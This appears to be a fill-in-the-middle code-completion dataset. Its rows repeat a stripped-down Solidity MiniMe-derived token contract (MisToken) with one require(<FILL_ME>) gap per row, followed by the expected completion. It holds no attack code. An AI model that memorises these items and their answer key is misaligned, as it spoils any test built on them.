// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MisTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MisToken
/// @param _tokenFactory The address of the MisTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MisToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) returns (bool success) {
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) constant returns (uint256 balance) {
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
// Alerts the token controller of the approve function call
if (isContract(controller)) {
require(<FILL_ME>)
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() constant returns (uint) {
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MisToken Contract
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyController {
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) internal returns (uint) {
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () payable {
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
////////////////
// MisTokenFactory
////////////////
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MisTokenFactory {
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the controller of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MisToken) {
}
}
contract MISTOKEN is MisToken {
// @dev MISTOKEN constructor just parametrizes the MisToken constructor
function MISTOKEN(
) MisToken(
0x693a9cFbACe1B67558E78ce2D081965193002223, // address of tokenfactory
0x0, // no parent token
0, // no snapshot block number from parent
"MISTOKEN", // Token name
18, // Decimals
"MISO", // Symbol
true // Enable transfers
) {}
}
| TokenController(controller).onApprove(msg.sender,_spender,_amount) | 39,324 | TokenController(controller).onApprove(msg.sender,_spender,_amount) |
null | pragma solidity ^0.4.18;
/*
Copyright 2017, Debdoot Das (IDIOT IQ)
Copyright 2017, Jordi Baylina (Giveth)
Based on MineMeToken.sol from https://github.com/Giveth/minime
*/
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { }
address public controller;
function Controlled() { }
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
/// @dev The actual token contract, the default controller is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token controller contract, which Giveth will call a "Campaign"
contract MisToken is Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = 'MMT_0.1'; //An arbitrary versioning scheme
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MisToken public parentToken;
// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MisTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MisToken
/// @param _tokenFactory The address of the MisTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MisToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) returns (bool success) {
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) constant returns (uint256 balance) {
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) returns (bool success) {
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
require(<FILL_ME>)
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() constant returns (uint) {
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MisToken Contract
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyController {
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) internal returns (uint) {
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () payable {
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
////////////////
// MisTokenFactory
////////////////
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MisTokenFactory {
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the controller of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MisToken) {
}
}
contract MISTOKEN is MisToken {
// @dev MISTOKEN constructor just parametrizes the MisToken constructor
function MISTOKEN(
) MisToken(
0x693a9cFbACe1B67558E78ce2D081965193002223, // address of tokenfactory
0x0, // no parent token
0, // no snapshot block number from parent
"MISTOKEN", // Token name
18, // Decimals
"MISO", // Symbol
true // Enable transfers
) {}
}
| approve(_spender,_amount) | 39,324 | approve(_spender,_amount) |
null | pragma solidity ^0.4.18;
/*
Copyright 2017, Debdoot Das (IDIOT IQ)
Copyright 2017, Jordi Baylina (Giveth)
Based on MineMeToken.sol from https://github.com/Giveth/minime
*/
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { }
address public controller;
function Controlled() { }
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
/// @dev The actual token contract, the default controller is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token controller contract, which Giveth will call a "Campaign"
contract MisToken is Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = 'MMT_0.1'; //An arbitrary versioning scheme
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MisToken public parentToken;
// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MisTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MisToken
/// @param _tokenFactory The address of the MisTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MisToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) returns (bool success) {
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) constant returns (uint256 balance) {
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) returns (bool success) {
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() constant returns (uint) {
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MisToken Contract
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyController {
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) internal returns (uint) {
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () payable {
require(<FILL_ME>)
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
////////////////
// MisTokenFactory
////////////////
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MisTokenFactory {
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the controller of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MisToken) {
}
}
contract MISTOKEN is MisToken {
// @dev MISTOKEN constructor just parametrizes the MisToken constructor
function MISTOKEN(
) MisToken(
0x693a9cFbACe1B67558E78ce2D081965193002223, // address of tokenfactory
0x0, // no parent token
0, // no snapshot block number from parent
"MISTOKEN", // Token name
18, // Decimals
"MISO", // Symbol
true // Enable transfers
) {}
}
| isContract(controller) | 39,324 | isContract(controller) |
null | pragma solidity ^0.4.18;
/*
Copyright 2017, Debdoot Das (IDIOT IQ)
Copyright 2017, Jordi Baylina (Giveth)
Based on MineMeToken.sol from https://github.com/Giveth/minime
*/
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { }
address public controller;
function Controlled() { }
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
/// @dev The actual token contract, the default controller is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token controller contract, which Giveth will call a "Campaign"
contract MisToken is Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = 'MMT_0.1'; //An arbitrary versioning scheme
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MisToken public parentToken;
